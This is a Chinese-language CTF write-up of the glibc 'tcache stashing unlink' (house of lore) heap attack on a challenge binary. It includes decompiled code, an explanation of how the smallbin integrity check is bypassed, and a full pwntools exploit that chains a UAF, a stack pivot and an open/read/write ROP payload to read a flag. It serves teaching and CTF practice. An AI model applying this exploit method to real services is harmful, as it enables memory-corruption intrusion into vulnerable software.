# tcache-stashing-unlink-attack

house-of-lore 结合 tcache 的一套攻击流程

漏洞成因

堆溢出、 use after freeedit after free

适用范围

  • 2.23 —— 2.31
  • 需要泄露或已知地址

# 概要:

通 uaf 修改 smallbin 大小的 free_chunk 的 bk 指针到目的地址,同时伪造目的地址的 fd 指针指向将被 free 的 chunk。从而实现获取一个任意地址分配的能力

# 绕过检测:

if (__glibc_unlikely (bck->fd != victim))
        malloc_printerr ("malloc(): smallbin double linked list corrupted");

# 利用思路:

  • 申请 chunk A、chunk B、chunk C ,其中 chunk B 大小位于 smallbin
  • 释放 B ,申请更大的 chunk D ,使得 B 进入 smallbin
  • A ,溢出修改 Bbk ,指向地址 X ,这里有 fake chunk
  • 布置 X->fd == &B
  • 分配两次后即可取出位于 X 地址处的 fake chunk

需要越过 tcache 取 smallbin 的 free_chunk

# 例题:

https://github.com/Yhuanhuan01/CTF_Pwn_Game/tree/main/tcache-stashing-unlink-attack(house-of-lore)

image-20240722143535687

还是先申代码吧

unsigned int sub_11D5()
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  sys_malloc = (__int64)malloc(0x1000uLL);
  if ( !sys_malloc )
  {
    puts("What?");
    exit(-1);
  }
  qword_4050 = sys_malloc & 0xFFFFFFFFFFFFF000LL;
  return alarm(0x1Eu);
}

初始化函数,程序自己申请了一个 0x1000 chunk

seccomd_box();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        choice = read_num();
        if ( choice != 3 )
          break;
        edit(v3);
      }
      if ( choice > 3 )
        break;
      if ( choice == 1 )
      {
        if ( num_28 <= 0 )
          puts_err();
        add(v3);
        --num_28;
      }
      else
      {
        if ( choice != 2 )
          goto LABEL_19;
        delect(v3); // uaf
      }
    }
    if ( choice == 5 )
      puts_err();
    if ( choice < 5 )
    {
      show(v3);
    }
    else
    {
      if ( choice != 666 )
LABEL_19:
        puts_err();
      read_overbuf();             // stack_read_overbuf
    }
  }

部分代码截取

整体看一下,有沙盒,最多进入 add 28 次(有些已经注释过了一下

  • add()
// 只列举比较重要的部分
printf("Please input the red packet idx: ");
num = read_num();
if ( num > 0x10 )
    puts_err();
if ( v5 != 0x10 && v5 != 0xF0 && v5 != 0x300 && v5 != 0x400 )// size_rule
    puts_err();
*(_QWORD *)(16LL * num + a1) = calloc(1uLL, v5);// user_malloc
*(_DWORD *)(a1 + 16LL * num + 8) = v5;

只能去申请 4个大小 的 chunk,并且都不在 largebin 的范围内

  • delect
num = read_num();
 if ( num > 16 || !*(_QWORD *)(16LL * num + a1) )
    puts_err();
 free(*(void **)(16LL * num + a1));            // uaf

存在 uaf 漏洞

  • edit
if ( num_1 <= 0 )
    puts_err();
--num_1; // 一次进入 edit 的机会
printf("Please input content: ");
v2 = read(0, *(void **)(16LL * idx + a1), *(int *)(16LL * idx + a1 + 8));
  • read_overbuf
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
  if ( *(__int64 *)(sys_malloc + 0x800) <= 0x7F0000000000LL
    || *(_QWORD *)(sys_malloc + 0x7F8)
    || *(_QWORD *)(sys_malloc + 0x808) )
  {
    puts_err(); // 设置 sys_malloc+0x800 位置要大于 0x7F0000000000
  }
return read(0, buf, 0x90uLL);// 栈溢出

存在栈溢出

2.26 之后,ptmalloc 引入 tcache 机制, 0x20 - 0x410 大小的 free_chunk 都会先进入 tcache_bin 内,之后满 7 个之后会进入符合其大小的 bin 内。

在这个程序代码内,使用了 calloc 函数去创建分配堆块

  • calloc 与 malloc 的区别是 calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的
  • 不从 tcache 去相应大小的堆块

这题的目的是修改 sys_malloc + 0x800 处,修改一个很大的数,从而拥有一个栈溢出的能力,因为栈溢出的长度太小,需要迁移。

首先还是先填满 tachae 去泄露 libcbase 和 heapbase

Sho(6)
heapaddr = u64(rc(6).ljust(8,b'\0')) - 0xd1c0 + 0xb000
Sho(7)
libcaddr = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 - libc.sym['__malloc_hook']
lg('heapaddr')
lg('libcaddr')

然后需要进行 tcache-stashing-unlink-attack

如何在本例实现此次攻击,需要结合 small 分配时的操作

// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 在当前 tcache 没有满,smallbin 不空的时候,把相同大小的 chunk 相继取出。注意:这里没有双向链表完整性检查
while (tcache->counts[tc_idx] < mp_.tcache_count
       && (tc_victim = last (bin)) != bin)
  {
    if (tc_victim != 0)
      {
        bck = tc_victim->bk;
        set_inuse_bit_at_offset (tc_victim, nb);
        if (av != &main_arena)
          set_non_main_arena (tc_victim);
        bin->bk = bck;
        bck->fd = bin;
        tcache_put (tc_victim, tc_idx);

也就是说: 当smallbin中存在块,但是tcache未满时,如果从smallbin在取出一个块后未空,那么就会把这个对应大小的smallbin中的所有chunk全部转移到相应大小的tcache中,直到tcache满为止。

  • 当 tcache_bin 内有 6 个 chunk 时,无法去完成一个任意地址分配的操作,但是可以把链头 chunk 的 BK 位置写上一个 main_arena

  • 若有 5 个块时,则可以去完成一个任意地址分配的操作

此题可以用 6 个 chunk 的场景

for i in range(6):
	Add(i,2,b'oooo')
	Del(i)

先去申请 6 个 0xf0 的 chunk,并放入 0x100 的 tcache_bin 内

Add(15,4,b'aaaa')
Add(7,3,b'bbbb') # 防止合併
Del(15)			 # 置入 unsortedbin
Add(8,3,b'cccc') # 切割 
Add(16,4,b'aaaa')# 置入 0x100 的 small bin
Add(9,3,b'bbbb')
Del(16)
Add(10,3,b'cccc')
Add(11,3,b'cccc')# 置入 0x100 的 small bin

在 0x100 的 small_bin 放入两个 chunk

pl = padding(0x300) + p64(0) + p64(0x101) + p64(heapaddr - 0xb000 + 0xe7e0) + p64(heapaddr + 0x250 + 0x800)
Edi(16,pl)
Add(14,2,b'oooo')

uaf 写链头 chunk,完成 tcache-stashing-unlink-attack ,从而在目标地址写上 main_arean (…) 地址

接下来 orw 写到一个 chunk 上,并用栈溢出迁移过去即可

lvr = libcaddr + 0x0000000000058373
rdi = libcaddr + 0x0000000000026542
rsi = libcaddr + 0x0000000000026f9e
rdx = libcaddr + 0x000000000012bda6
open_addr = libcaddr + libc.sym['open']
read_addr = libcaddr + libc.sym['read']
writ_addr = libcaddr + libc.sym['write']
flag_addr = heapaddr - 0xb000 + 0xf630
pay = flat([b'./flag\x00\x00',
    rdi, p64(flag_addr), rsi, 0, open_addr,
    rdi, 3, rsi, p64(flag_addr+200), rdx, 0x40, read_addr,
    rdi, 1, rsi, p64(flag_addr+200), rdx, 0x40, writ_addr
])
Add(13,3,pay)
pay2 = padding(0x80) + p64(flag_addr) + p64(lvr)
meau(666)
sa(b'What do you want to say?',pay2)
it()

# 完整 exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.29.so'
host, port = "node5.buuoj.cn:26125".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def meau(idx):
	sla(b'Your input: ',str(idx))
def Add(idx,cz,ct):
	meau(1)
	sla(b'Please input the red packet idx: ',str(idx))
	sla(b'How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ',str(cz))
	sa(b'Please input content: ',ct)
def Del(idx):
	meau(2)
	sla(b'Please input the red packet idx: ',str(idx))
def Edi(idx,ct):
	meau(3)
	sla(b'Please input the red packet idx: ',str(idx))
	sa(b'Please input content: ',ct)
def Sho(idx):
	meau(4)
	sla(b'Please input the red packet idx: ',str(idx))
for i in range(9):
	Add(i,4,b'aaaa')
for i in range(8):
	Del(i)
Sho(6)
heapaddr = u64(rc(6).ljust(8,b'\0')) - 0xd6c0 + 0xb000
Sho(7)
libcaddr = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 - libc.sym['__malloc_hook']
lg('heapaddr')
lg('libcaddr')
# debug()
# pause()
Del(8)
for i in range(6):
	Add(i,2,b'oooo')
	Del(i)
Add(15,4,b'aaaa')
Add(7,3,b'bbbb') # 防止合併
Del(15)			 # 置入 unsortedbin
Add(8,3,b'cccc') # 切割 
Add(16,4,b'aaaa')# 置入 0x100 的 small bin
Add(9,3,b'bbbb')
Del(16)
Add(10,3,b'cccc')
Add(11,3,b'cccc')# 置入 0x100 的 small bin
debug()
pl = padding(0x300) + p64(0) + p64(0x101) + p64(heapaddr - 0xb000 + 0xe7e0) + p64(heapaddr + 0x250 + 0x800)
Edi(16,pl)
Add(14,2,b'oooo')
lvr = libcaddr + 0x0000000000058373
rdi = libcaddr + 0x0000000000026542
rsi = libcaddr + 0x0000000000026f9e
rdx = libcaddr + 0x000000000012bda6
open_addr = libcaddr + libc.sym['open']
read_addr = libcaddr + libc.sym['read']
writ_addr = libcaddr + libc.sym['write']
flag_addr = heapaddr - 0xb000 + 0xf630
pay = flat([b'./flag\x00\x00',
    rdi, p64(flag_addr), rsi, 0, open_addr,
    rdi, 3, rsi, p64(flag_addr+200), rdx, 0x40, read_addr,
    rdi, 1, rsi, p64(flag_addr+200), rdx, 0x40, writ_addr
])
Add(13,3,pay)
pay2 = padding(0x80) + p64(flag_addr) + p64(lvr)
meau(666)
sa(b'What do you want to say?',pay2)
it()

参考

https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#24-house-of-lore

https://ciphersaw.me/ctf-wiki/pwn/linux/heap/house_of_lore/

https://www.cnblogs.com/luoleqi/p/12840154.html#house-of-lore

https://kabeor.cn/House of 系列堆漏洞详解 (一)/#House-of-lore

https://tttang.com/archive/1362/#toc_0x00

https://blog.csdn.net/tbsqigongzi/article/details/126293932

https://nicholas-wei.github.io/2022/02/07/tcache-stashing-unlink-attack/

https://yhuanhuan01.github.io/2024/07/22/tcache-stashing-unlink-attack(house-of-lore)/